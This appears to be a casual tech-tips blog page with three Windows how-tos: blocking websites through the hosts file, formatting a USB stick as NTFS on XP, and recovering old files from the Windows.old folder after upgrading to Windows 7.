Create a simple firewall protection to block certain websites!

Here I have already posted several articles on how to unblock several websites like orkut, facebook bebo or any other in colleges or offices using proxy software and proxy sites. But today this article will be a total turn-around as how you can create a simple firewall to block certain websites at your home being accessed by your child.

This trick does not require any special skill but only a slight modification into the system host file with the sites names included those you want block access keep in mind that this process is totally reversible, if later you want to gain access any particular sites remove from the list. Below is the process to create this simple firewall protection as this can also be used to stop spam sites:

1. Click on start and then Run menu (You can also use Windows Key + r to open the run window)
2. Type notepad C:/Windows/System32/drivers/etc/hosts
as it is the bold letters in the text box (Copy and paste will be the best solution)
3. This will open the notepad editor now type 127.0.0.1 (which is the local host) and give a space then type the name of the site you want to block e.g
127.0.0.1 orkut.com and save the file.

By this way you can add many as site in the list and in case if you want to gain access to any site you have blocked repeat the first two process and then from notepad document remove that particular site.
Hope you have liked this trick very much and I deserves a feedburner’s subscription isn’t so?

How to Format USB Stick with NTFS File System

The advantage of NTFS file system is more security options and fast. Normally USB drive capacity is very small enough that NTFS is not recommended. But, nowadays USB drives are coming with larger capacity also. So we can format USB drive with NTFS to have more security options.
NTFS enabled USB Drives are write-able only on one PC and becomes read only on all other PCs. Hence, we can read and write on our own PC and transfer files to elsewhere without any fear of virus.
In XP, only FAT and FAT32 file systems are available in format options, use the below steps to format in NTFS File System.
1). Insert USB drive in your PC
2). Go to Device Manager (Start>Run>devmgmt.msc)
3). Select Disk Drives and expand
4). Right Click on USB drive and select Properties
5). Go to policies tab and select Optimize for performance and press OK
6). Open My Computer, Click on USB Drive and select Format Option

Now you can have NTFS option there.

Recovering Old Windows Files and applications after Windows Upgrade to 7

Few days back one of my friend has upgraded his system from Windows Xp to Seven and caught into a disaster as he said to me. What he said that he has only updated his operating system without formatting his system drive and was thinking that all the data on the desktop will be intact so he just ignored to take a backup.
After the installation finishes he was shocked to find that he has got the new fresh desktop, none of his old files and folders were there. He has just nearly pulled his hair before he called me as what can be done to retrieve his desktop data.
So now if you have also came across the similar situation then don’t panic as there is a very simple step to find all your data stored. As you have not formatted your system drive, nothing will be lost.
With the any version update or installation of any windows using without format windows installation backs-up all the files in a folder as windows.old.
The Windows.old folder contains the following folders:
•    Windows
•    “Documents and Settings”
•    “Program Files”

While all the “My Documents” data is located in the Documents and Settings folder, all the programs installed earlier are now in the Program Files folder.
YOu can open this folder Clicking Start, type %systemdrive%\Windows.old in the Start Search box, and then press ENTER. and search here for all the previous files..
